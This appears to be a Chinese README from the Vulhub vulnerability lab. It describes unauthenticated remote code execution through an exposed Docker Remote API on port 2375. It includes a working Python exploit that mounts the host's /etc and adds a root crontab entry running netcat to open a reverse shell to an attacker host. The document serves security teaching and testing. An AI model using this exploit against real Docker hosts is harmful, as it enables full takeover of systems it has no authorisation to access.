Files
vulhub/docker/unauthorized-rce/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

2.1 KiB
Raw Permalink Blame History

Docker Remote API 未授权访问导致远程代码执行

Docker是一个提供容器化软件打包和交付的平台即服务PaaS解决方案。Docker守护进程dockerd提供了一个REST API允许远程管理Docker容器、镜像和其他资源。

当Docker守护进程被配置为监听网络端口通常是TCP端口2375且未启用适当的身份验证机制时攻击者可以未经授权访问Docker API。利用此漏洞攻击者可以在主机系统上创建、修改和执行容器可能导致远程代码执行、数据窃取以及完全控制主机系统。

环境搭建

执行以下命令启动存在漏洞的Docker环境

docker compose build
docker compose up -d

环境启动后Docker守护进程将在2375端口上监听且不需要任何身份验证。

漏洞复现

这个漏洞可以使用Python的docker-py库进行利用。攻击方法是创建一个新容器并挂载主机的/etc目录这样攻击者就能修改系统关键文件。在这个示例中我们将通过添加一个恶意的crontab条目来创建反弹shell以演示漏洞的危害。

首先安装所需的Python库

pip install docker

然后创建并运行以下Python脚本来利用漏洞

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

这个脚本创建了一个容器,挂载主机的/etc目录并向root用户的crontab添加一个反弹shell命令。在一分钟内cron守护进程将执行该命令建立一个反弹shell连接到攻击者的机器。

成功利用漏洞后可以收到反弹shell连接

反弹Shell利用

这个漏洞展示了正确保护Docker守护进程访问和为远程API端点实施身份验证机制的重要性。